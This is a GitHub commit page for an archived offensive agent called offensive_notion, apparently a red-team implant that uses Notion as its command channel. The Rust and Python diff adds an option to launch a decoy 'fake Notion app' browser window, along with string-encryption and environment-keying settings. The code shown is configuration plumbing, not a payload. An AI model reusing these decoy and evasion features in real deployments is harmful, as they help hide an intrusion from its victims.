Skip to content
This repository was archived by the owner on Mar 11, 2025. It is now read-only.

Commit 503fc25

Browse files
authored
Merge pull request #112 from mttaggart/dev
Dev
2 parents 3870093 + a608b4b commit 503fc25

File tree

5 files changed

+29
-24
lines changed

5 files changed

+29
-24
lines changed

agent/Cargo.lock

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

agent/Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "offensive_notion"
3-
version = "1.2.0"
3+
version = "1.2.1"
44
edition = "2021"
55
build = "build.rs"
66

agent/src/config.rs

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,9 @@ pub const DEFAULT_API_KEY: &str = "<<API_KEY>>";
1414
pub const DEFAULT_PARENT_PAGE_ID: &str = "<<PARENT_PAGE_ID>>";
1515
pub const DEFAULT_SLEEP_INTERVAL: &str = "<<SLEEP>>";
1616
pub const DEFAULT_JITTER_TIME: &str = "<<JITTER>>";
17+
pub const DEFAULT_LAUNCH_APP: &str = "<<LAUNCH_APP>>";
1718
pub const DEFAULT_LOG_LEVEL: &str = "<<LOG_LEVEL>>";
18-
pub const CONFIG_FILE_PATH: &str = "./cfg.json";
19+
pub const DEFAULT_CONFIG_FILE_PATH: &str = "./cfg.json";
1920
pub const DEFAULT_ENV_CHECKS: &str = "<<ENV_CHECKS>>";
2021

2122
/// Enum for ConfigOptions, useful for parsing configs from
@@ -115,10 +116,10 @@ pub fn get_config_options_debug() -> Result<ConfigOptions, Box<dyn Error + Send
115116
io::stdout().flush()?;
116117
stdin.read_line(&mut log_level)?;
117118

118-
let mut key_username = String::new();
119-
println!("[*] Enter username to key off > ");
119+
let mut launch_app = String::new();
120+
println!("[*] Launch App (Windows/Linux only) (y/n)? > ");
120121
io::stdout().flush()?;
121-
stdin.read_line(&mut key_username)?;
122+
stdin.read_line(&mut launch_app)?;
122123

123124
Ok(
124125
ConfigOptions {
@@ -127,7 +128,10 @@ pub fn get_config_options_debug() -> Result<ConfigOptions, Box<dyn Error + Send
127128
parent_page_id: parent_page_id.trim().to_string(),
128129
api_key: api_key.trim().to_string(),
129130
config_file_path: config_file_path.trim().to_string(),
130-
launch_app: false,
131+
launch_app: match launch_app.to_lowercase().as_str() {
132+
"y" => true,
133+
_ => false
134+
},
131135
log_level: log_level.trim().parse().unwrap(),
132136
env_checks: Vec::new()
133137
}
@@ -141,8 +145,8 @@ pub async fn get_config_options() -> Result<ConfigOptions, ConfigError> {
141145
jitter_time: DEFAULT_JITTER_TIME.parse().unwrap_or_else(|_| 0),
142146
parent_page_id: DEFAULT_PARENT_PAGE_ID.to_string(),
143147
api_key: DEFAULT_API_KEY.to_string(),
144-
config_file_path: CONFIG_FILE_PATH.to_string(),
145-
launch_app: true,
148+
config_file_path: DEFAULT_CONFIG_FILE_PATH.to_string(),
149+
launch_app: DEFAULT_LAUNCH_APP.parse().unwrap_or_default(),
146150
log_level: DEFAULT_LOG_LEVEL.parse().unwrap_or_else(|_| 2),
147151
env_checks: from_str(DEFAULT_ENV_CHECKS).unwrap_or_else(|_| Vec::new())
148152
};
@@ -152,14 +156,14 @@ pub async fn get_config_options() -> Result<ConfigOptions, ConfigError> {
152156

153157
/// Ingests config from a saved JSON file—or tries to.
154158
///
155-
/// If `None` is passed as the path, the `CONFIG_FILE_PATH` is attempted.
159+
/// If `None` is passed as the path, the `DEFAULT_CONFIG_FILE_PATH` is attempted.
156160
///
157161
/// If no config file can be parsed, defaults are used.
158162
pub async fn load_config_options(c: Option<&str>) -> Result<ConfigOptions, ConfigError> {
159163

160164
let config_file_path = match c {
161165
Some(p) => p,
162-
None => CONFIG_FILE_PATH
166+
None => DEFAULT_CONFIG_FILE_PATH
163167
};
164168

165169
if let Ok(c) = fs::read_to_string(config_file_path) {

agent/src/main.rs

Lines changed: 6 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -87,24 +87,18 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
8787
}
8888
#[cfg(target_os = "linux")] {
8989
browser_cmd = lc!("/usr/local/bin/google-chrome");
90-
match Command::new(browser_cmd)
91-
.arg("--app=https://notion.so")
92-
.spawn() {
93-
Ok(_) => {logger.info(lc!("Launching browser"));},
94-
Err(e) => {logger.err(e.to_string());}
95-
};
9690
}
9791
#[cfg(target_os = "macos")] {
9892
// For Mac, since we can't launch Chrome, we're gonna have to
9993
// Hope Chrome is there for us to abuse.
10094
browser_cmd = lc!("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome");
101-
match Command::new(browser_cmd)
102-
.arg("--app=https://notion.so")
103-
.spawn() {
104-
Ok(_) => {logger.info(lc!("Launching browser"));},
105-
Err(e) => {logger.err(e.to_string());}
106-
};
10795
}
96+
match Command::new(browser_cmd)
97+
.arg("--app=https://notion.so")
98+
.spawn() {
99+
Ok(_) => {logger.info(lc!("Launching browser"));},
100+
Err(e) => {logger.err(e.to_string());}
101+
};
108102
}
109103

110104
// Before anything else happens, we key to the env if the config has been set.

main.py

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -120,6 +120,12 @@ def take_in_vars():
120120
important + "Enter the key to use to encrypt your agent's strings [default is 'offensivenotion']", "offensivenotion")
121121
print(good + "Encryption key: {}".format(litcrypt_key))
122122

123+
# Launch App
124+
launch_app = ask_for_input(
125+
important + "Launch fake Notion app (Windows/Linux only) (y/N)?", "n")
126+
launch_app = "true" if launch_app == "y" else "false"
127+
print(good + "Launch App: {}".format(launch_app))
128+
123129
print(important + "Guardrails!")
124130
env_checks = []
125131
key_username = ask_for_input(important + "Enter a username to key off. [Leave blank for no keying to username]", "")
@@ -140,7 +146,8 @@ def take_in_vars():
140146
"API_KEY": api_key,
141147
"PARENT_PAGE_ID": parent_page_id,
142148
"LOG_LEVEL": str(log_level),
143-
"LITCRYPT_KEY": litcrypt_key,\
149+
"LITCRYPT_KEY": litcrypt_key,
150+
"LAUNCH_APP": launch_app,
144151
# "[{\"Username\": \"husky\"}]"
145152
"ENV_CHECKS": env_checks
146153
}

0 commit comments

Comments
 (0)